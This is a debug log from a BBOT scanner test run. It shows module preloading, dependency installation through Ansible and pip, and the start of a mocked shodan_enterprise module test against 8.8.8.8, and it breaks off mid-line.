+2026-02-27 22:13:55,930 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 22:13:55,932 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 22:13:55,933 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 22:13:55,934 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 22:13:55,935 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 22:13:55,936 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 22:13:55,937 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 22:13:55,939 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 22:13:55,940 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 22:13:55,941 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 22:13:55,941 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 22:13:55,942 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 22:13:55,944 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 22:13:55,945 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 22:13:55,946 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 22:13:55,947 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 22:13:55,950 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 22:13:55,951 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 22:13:55,952 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 22:13:55,953 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 22:13:55,961 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 22:13:55,962 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 22:13:55,964 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 22:13:55,965 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 22:13:55,967 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 22:13:55,968 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 22:13:55,969 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 22:13:55,970 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 22:13:55,971 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 22:13:55,972 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 22:13:55,975 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 22:13:55,976 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 22:13:55,978 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 22:13:55,979 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 22:13:55,981 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 22:13:55,982 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 22:13:55,983 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 22:13:55,984 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 22:13:55,985 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 22:13:55,986 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 22:13:55,987 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 22:13:55,988 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 22:13:55,989 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 22:13:55,990 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 22:13:55,991 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 22:13:55,992 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 22:13:55,993 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 22:13:55,995 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 22:13:55,997 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 22:13:55,998 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 22:13:55,999 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 22:13:56,000 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 22:13:56,001 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 22:13:56,002 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 22:13:56,003 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 22:13:56,004 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 22:13:56,005 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 22:13:56,006 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 22:13:56,006 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 22:13:56,008 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 22:13:56,009 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 22:13:56,010 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 22:13:56,011 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 22:13:56,012 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 22:13:56,013 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 22:13:56,015 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 22:13:56,016 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 22:13:56,017 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 22:13:56,018 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 22:13:56,019 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 22:13:56,020 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 22:13:56,021 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 22:13:56,022 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 22:13:56,024 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 22:13:56,024 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 22:13:56,025 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 22:13:56,026 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 22:13:56,027 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 22:13:56,028 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 22:13:56,029 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 22:13:56,030 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 22:13:56,031 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 22:13:56,033 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 22:13:56,034 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 22:13:56,035 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 22:13:56,036 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 22:13:56,037 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 22:13:56,038 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 22:13:56,039 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 22:13:56,040 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 22:13:56,041 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 22:13:56,042 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 22:13:56,043 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 22:13:56,045 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 22:13:56,046 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 22:13:56,047 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 22:13:56,049 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 22:13:56,050 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 22:13:56,050 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 22:13:56,052 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 22:13:56,053 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 22:13:56,054 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 22:13:56,056 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 22:13:56,057 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 22:13:56,059 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 22:13:56,060 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 22:13:56,065 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 22:13:56,066 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 22:13:56,069 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 22:13:56,070 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 22:13:56,072 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 22:13:56,073 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 22:13:56,075 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 22:13:56,076 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 22:13:56,078 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 22:13:56,078 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 22:13:56,080 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 22:13:56,081 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 22:13:56,082 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 22:13:56,084 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 22:13:56,085 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 22:13:56,086 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 22:13:56,086 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 22:13:56,087 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 22:13:56,088 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 22:13:56,089 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 22:13:56,090 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 22:13:56,091 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 22:13:56,092 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 22:13:56,093 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 22:13:56,095 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 22:13:56,096 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 22:13:56,097 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 22:13:56,098 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 22:13:56,099 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 22:13:56,101 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 22:13:56,102 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 22:13:56,103 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 22:13:56,104 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 22:13:56,105 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 22:13:56,107 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 22:13:56,107 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 22:13:56,108 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 22:13:56,110 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 22:13:56,111 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 22:13:56,112 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 22:13:56,114 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 22:13:56,116 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 22:13:56,117 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 22:13:56,118 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 22:13:56,120 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 22:13:56,122 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 22:13:56,329 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4582047504 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:13:56,330 [DEBUG] filelock _api.py:334 Lock 4582047504 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:13:56,332 [DEBUG] filelock _api.py:364 Attempting to release lock 4582047504 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:13:56,332 [DEBUG] filelock _api.py:367 Lock 4582047504 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:13:57,783 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 22:13:57,783 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 22:13:57,784 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 22:13:57,968 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 22:13:58,655 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 22:13:58,655 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 22:13:58,656 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 22:13:58,656 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 22:13:58,909 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 22:13:58,911 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 22:13:59,024 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 22:13:59,024 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 22:13:59,080 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 22:13:59,084 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 22:13:59,085 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 22:13:59,880 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 22:13:59,881 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 22:14:08,666 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 22:14:08,667 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 22:14:08,667 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 22:14:11,317 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 22:14:11,318 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 22:14:11,323 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:14:11,324 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 22:14:11,324 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:14:11,324 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 22:14:11,324 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:14:11,325 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 22:14:11,325 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:14:11,326 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 22:14:11,326 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 22:14:11,326 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 22:14:11,332 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/6geyrro1tcv9h10qgyhr +2026-02-27 22:14:12,577 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 22:14:12,578 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 22:14:12,579 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 22:14:12,725 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 22:14:12,725 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 22:14:12,725 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 22:14:12,728 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 22:14:12,728 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 22:14:12,728 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 22:14:12,729 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 22:14:12,730 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 22:14:12,730 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 22:14:12,731 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 22:14:12,731 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 22:14:12,731 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 22:14:12,732 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 22:14:12,732 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 22:14:12,732 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 22:14:12,732 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 22:14:12,733 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 22:14:12,733 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 22:14:12,733 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 22:14:12,733 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 22:14:12,734 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 22:14:12,734 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 22:14:12,734 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 22:14:12,735 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 22:14:12,735 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 22:14:12,735 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 22:14:12,735 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 22:14:12,736 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 22:14:12,736 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 22:14:12,736 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 22:14:12,736 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 22:14:12,736 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 22:14:12,737 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 22:14:12,737 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 22:14:12,737 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 22:14:12,737 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 22:14:12,738 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 22:14:12,738 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 22:14:12,738 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 22:14:12,738 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-02-27 22:14:12,739 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 22:14:12,739 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 22:14:12,739 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-02-27 22:14:12,740 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 22:14:12,740 [DEBUG] bbot base.py:111 Starting scan +2026-02-27 22:14:12,914 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_yq29unrqwa +2026-02-27 22:14:12,914 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-02-27 22:14:13,032 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-02-27 22:14:13,033 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-02-27 22:14:13,033 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-02-27 22:14:13,035 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) +2026-02-27 22:14:13,135 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) passed post-check +2026-02-27 22:14:13,135 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) +2026-02-27 22:14:13,137 [DEBUG] 